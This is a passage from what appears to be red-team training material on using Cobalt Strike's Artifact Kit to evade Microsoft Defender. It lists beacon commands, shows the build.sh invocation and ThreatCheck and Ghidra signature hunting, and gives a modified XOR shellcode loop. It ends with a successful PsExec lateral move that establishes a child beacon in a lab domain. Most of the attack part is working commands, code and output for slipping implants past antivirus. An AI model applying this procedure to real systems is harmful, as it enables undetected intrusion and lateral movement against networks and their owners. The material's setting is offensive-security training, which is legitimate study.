Even though dropping files to disk has a bad reputation, there are instances where it's fairly unavoidable if we want to use certain tactics. For instance, we can show that we have access to the File Server, but we can't PsExec to it because the default service binary payload is detected by Defender.
beacon> ls \\fs.dev.cyberbotic.io\c$
Size Type Last Modified Name
---- ---- ------------- ----
dir 09/14/2022 15:44:51 $Recycle.Bin
dir 08/10/2022 04:55:17 $WinREAgent
dir 08/10/2022 05:05:53 Boot
dir 08/18/2021 23:34:55 Documents and Settings
dir 08/19/2021 06:24:49 EFI
dir 05/08/2021 08:20:24 PerfLogs
dir 09/14/2022 15:55:16 Program Files
dir 08/10/2022 04:06:16 Program Files (x86)
dir 09/14/2022 15:59:23 ProgramData
dir 09/14/2022 15:25:23 Recovery
dir 09/14/2022 15:25:04 System Volume Information
dir 09/14/2022 15:26:47 Users
dir 09/14/2022 15:25:15 Windows
427kb fil 08/10/2022 05:00:07 bootmgr
1b fil 05/08/2021 08:14:33 BOOTNXT
12kb fil 09/14/2022 16:00:25 DumpStack.log.tmp
1gb fil 09/14/2022 16:00:25 pagefile.sys
beacon> jump psexec64 fs.dev.cyberbotic.io smb
[-] Could not start service 633af16 on fs.dev.cyberbotic.io: 225
PS C:\Users\Attacker> net helpmsg 225
Operation did not complete successfully because the file contains a virus or potentially unwanted software.
If we copy the payload to our local desktop and check the associated log, we can see that the "file" was detected.
These Cobalt Strike "artifacts" are nothing more than shellcode runners that inject Beacon shellcode when executed. As a rule of thumb, they inject the shellcode into themselves (e.g. using the VirtualAlloc & CreateThread pattern). The service binary is the one exception, as it spawns a new process and injects the shellcode into that instead. This is done so that when moving laterally with PsExec, the artifact can be deleted from disk immediately.
The Artifact Kit contains the source code for these artifacts and is designed to facilitate the development of sandbox-safe injectors. The idea is to develop artifacts that inject Beacon shellcode in a way that cannot be emulated by AV engines. There are several bypass techniques provided with the kit which you can modify, or you can implement entirely new ones yourself. Where the Artifact Kit does not help is with making Beacon resilient to detection once it's running in memory (e.g. from memory scanners).
The kit can be found in C:\Tools\cobaltstrike\arsenal-kit\kits\artifact.
The code for the entry point of each artifact format (i.e. EXE and DLL) can be found in src-main. These include dllmain.c for the DLL artifacts, main.c for the EXE artifacts, and svcmain.c for the Service EXE artifacts. These just call a function called start, so you should not need to modify these files in most cases. The implementation of this function can be found in each bypass file.
These can be found in src-common and are named bypass-<technique>.c. The included ones are:
mailslot - reads the shellcode over a mailslot.
peek - uses a combination of Sleep, PeekMessage and GetTickCount.
pipe - reads the shellcode over a named pipe.
readfile - artifact reads itself from disk and seeks to find the embedded shellcode.
Before making any modifications to the kit, let's just build one of these variants as it is. The kit includes a build script which uses mingw to compile the artifacts. Running it without any arguments will show the usage.
ubuntu@DESKTOP-3BSK7NO /m/c/T/c/a/k/artifact> ./build.sh
[Artifact kit] [-] Usage:
[Artifact kit] [-] ./build <techniques> <allocator> <stage size> <rdll size> <include resource file> <stack spoof> <syscalls> <output directory>
[Artifact kit] [-] - Techniques - a space separated list
[Artifact kit] [-] - Allocator - set how to allocate memory for the reflective loader.
[Artifact kit] [-] Valid values [HeapAlloc VirtualAlloc MapViewOfFile]
[Artifact kit] [-] - Stage Size - integer used to set the space needed for the beacon stage.
[Artifact kit] [-] For a 0K RDLL stage size should be 310272 or larger
[Artifact kit] [-] For a 5K RDLL stage size should be 310272 or larger
[Artifact kit] [-] For a 100K RDLL stage size should be 444928 or larger
[Artifact kit] [-] - RDLL Size - integer used to specify the RDLL size. Valid values [0, 5, 100]
[Artifact kit] [-] - Resource File - true or false to include the resource file
[Artifact kit] [-] - Stack Spoof - true or false to use the stack spoofing technique
[Artifact kit] [-] - Syscalls - set the system call method
[Artifact kit] [-] Valid values [none embedded indirect indirect_randomized]
[Artifact kit] [-] - Output Directory - Destination directory to save the output
[Artifact kit] [-] Example:
[Artifact kit] [-] ./build.sh "peek pipe readfile" HeapAlloc 310272 5 true true indirect /tmp/dist/artifact
It looks a bit scary at first, but each option is explained in the help. You can also review the README.md file inside the Artifact Kit directory for more information. Let's build a new set of artifact templates using the bypass-pipe technique.
ubuntu@DESKTOP-3BSK7NO /m/c/T/c/a/k/artifact> ./build.sh pipe VirtualAlloc 310272 5 false false none /mnt/c/Tools/cobaltstrike/artifacts
[Artifact kit] [+] You have a x86_64 mingw--I will recompile the artifacts
[Artifact kit] [*] Using allocator: VirtualAlloc
[Artifact kit] [*] Using STAGE size: 310272
[Artifact kit] [*] Using RDLL size: 5K
[Artifact kit] [*] Using system call method: none
[Artifact kit] [+] Artifact Kit: Building artifacts for technique: pipe
[Artifact kit] [*] Recompile artifact32.dll with src-common/bypass-pipe.c
[Artifact kit] [*] Recompile artifact32.exe with src-common/bypass-pipe.c
[Artifact kit] [*] Recompile artifact32svc.exe with src-common/bypass-pipe.c
[Artifact kit] [*] Recompile artifact32big.dll with src-common/bypass-pipe.c
[Artifact kit] [*] Recompile artifact32big.exe with src-common/bypass-pipe.c
[Artifact kit] [*] Recompile artifact32svcbig.exe with src-common/bypass-pipe.c
[Artifact kit] [*] Recompile artifact64.x64.dll with src-common/bypass-pipe.c
[Artifact kit] [*] Recompile artifact64.exe with src-common/bypass-pipe.c
[Artifact kit] [*] Recompile artifact64svc.exe with src-common/bypass-pipe.c
[Artifact kit] [*] Recompile artifact64big.x64.dll with src-common/bypass-pipe.c
[Artifact kit] [*] Recompile artifact64big.exe with src-common/bypass-pipe.c
[Artifact kit] [*] Recompile artifact64svcbig.exe with src-common/bypass-pipe.c
[Artifact kit] [+] The artifacts for the bypass technique 'pipe' are saved in '/mnt/c/Tools/cobaltstrike/artifacts/pipe'
Each artifact flavour will be compiled to /mnt/c/Tools/cobaltstrike/artifacts/pipe/ in my case, along with an aggressor script, artifact.cna.
ubuntu@DESKTOP-3BSK7NO /m/c/T/c/a/k/artifact> ls -l /mnt/c/Tools/cobaltstrike/artifacts/pipe/
total 2044
-rwxrwxrwx 1 ubuntu ubuntu 11914 Nov 6 14:56 artifact.cna*
-rwxrwxrwx 1 ubuntu ubuntu 14336 Nov 6 14:55 artifact32.dll*
-rwxrwxrwx 1 ubuntu ubuntu 14848 Nov 6 14:55 artifact32.exe*
-rwxrwxrwx 1 ubuntu ubuntu 323584 Nov 6 14:55 artifact32big.dll*
-rwxrwxrwx 1 ubuntu ubuntu 324096 Nov 6 14:55 artifact32big.exe*
-rwxrwxrwx 1 ubuntu ubuntu 15360 Nov 6 14:55 artifact32svc.exe*
-rwxrwxrwx 1 ubuntu ubuntu 324608 Nov 6 14:55 artifact32svcbig.exe*
-rwxrwxrwx 1 ubuntu ubuntu 19456 Nov 6 14:56 artifact64.exe*
-rwxrwxrwx 1 ubuntu ubuntu 18432 Nov 6 14:55 artifact64.x64.dll*
-rwxrwxrwx 1 ubuntu ubuntu 328704 Nov 6 14:56 artifact64big.exe*
-rwxrwxrwx 1 ubuntu ubuntu 327680 Nov 6 14:56 artifact64big.x64.dll*
-rwxrwxrwx 1 ubuntu ubuntu 20480 Nov 6 14:56 artifact64svc.exe*
-rwxrwxrwx 1 ubuntu ubuntu 329728 Nov 6 14:56 artifact64svcbig.exe*
The naming convention of these files tell you what they are used for.
'32/64' denotes 32 and 64bit architectures.
'big' denotes that it's stageless.
'svc' denotes that it's a service executable.
Before loading these into Cobalt Strike, it's useful to analyse them with a tool like ThreatCheck. This will split the file into little chunks and scan them with Defender to reveal any parts that trip static signatures. Note that ThreatCheck cannot emulate the AV sandbox, so this is for static signatures only.
Ensure real-time protection is disabled in Defender before running ThreatCheck against binary artifacts.
Here, we can see that the stageless service binary artifact has something that Defender doesn't like. However, there's not much context around what this is or where it is in the binary. Reversing tools such as IDA and Ghidra can help here because it allows us to dissect the file. Launch Ghidra by running the start script at C:\Tools\ghidra-10.3.1\ghidraRun.bat. Create a new non-shared project from File > New Project, then import your artifact by going to File > Import File.
Double-click on the imported file to open it in the CodeBrowser. When prompted, select Yes to analyze the binary (the default selected analyzers are fine). This may take a minute or so to complete - you will see a progress bar in the bottom-right of the window.
The next task is to find the portion of code reported by ThreatCheck, for which there are two easy ways. The first is to search for a specific byte sequence output by ThreatCheck, for example C1 83 E1 07 8A 0C 0A 41 30 0C 01 48 FF C0 EB E9. Go to Search > Memory, paste the string into the search box and click Search All.
Here we have one result.
Clicking on it will take you to the location in the code browser.
The other method is to use the "bad bytes offset" as given by ThreatCheck. Select Navigation > Go To and enter file(n) where n is the offset. In this case it would be file(0xBEC).
Unfortunately, we don't have debug symbols for the compiled payloads so function and variables names will be quite generic, like FUN_xxx and lVarx. However, we can still quite easily see that the portion of highlighted code is a for loop. We can go back to the Artifact Kit source code and search for any such loops.
We can dismiss most of these files because we didn't use the readfile bypass nor did we enable syscalls. Therefore, the candidates in patch.c seem the most promising. Because this is a service binary payload, we know that it will perform a "migration" (i.e. it spawns a new process and injects Beacon shellcode into it before exiting). This spawn function under an #ifdef _MIGRATE_ directive is a dead ringer for the decompiled version in Ghidra.
To break the detection, we just have to modify the routine so that it compiles to a different byte sequence. For example:
for (x = 0; x < length; x++) {
char* ptr = (char *)buffer + x;
/* do something random */
GetTickCount();
*ptr = *ptr ^ key[x % 8];
}
Rebuild the kit and scan the new version of the artifact. This time we have a different signature - this is an iterative process, so we must repeat these steps until all the detections have been removed.
In most cases, it doesn't really matter what you change things to, as long as it's different (and still functional). With that change, we finally have a clean artifact.
PS C:\Users\Attacker> C:\Tools\ThreatCheck\ThreatCheck\bin\Debug\ThreatCheck.exe -f C:\Tools\cobaltstrike\artifacts\pipe\artifact64svcbig.exe
[+] No threat found!
[*] Run time: 0.72s
Note that these specific examples may differ as signatures and the Beacon payload changes over time, but this methodology should always get you through. Each artifact type will also likely have different signatures used to detect them that you'll need to work through.
To tell Cobalt Strike to use these new artifacts, we must load the aggressor script. Go to Cobalt Strike > Script Manager > Load and select the artifact.cna file in your output directory. Any DLL and EXE payloads that you generate from hereon will use those new artifacts, so use Payloads > Windows Stageless Generate All Payloads to replace all of your payloads in C:\Payloads.
It's strongly advised to delete the existing payloads first because they sometimes only get partially overwritten with the new ones.
We should now be able to move laterally to the file server using PsExec.
beacon> jump psexec64 fs.dev.cyberbotic.io smb
Started service 96126c2 on fs.dev.cyberbotic.io
[+] established link to child beacon: 10.10.122.15
Simply unload the CNA from the Script Manager if you want to revert back to the default payloads.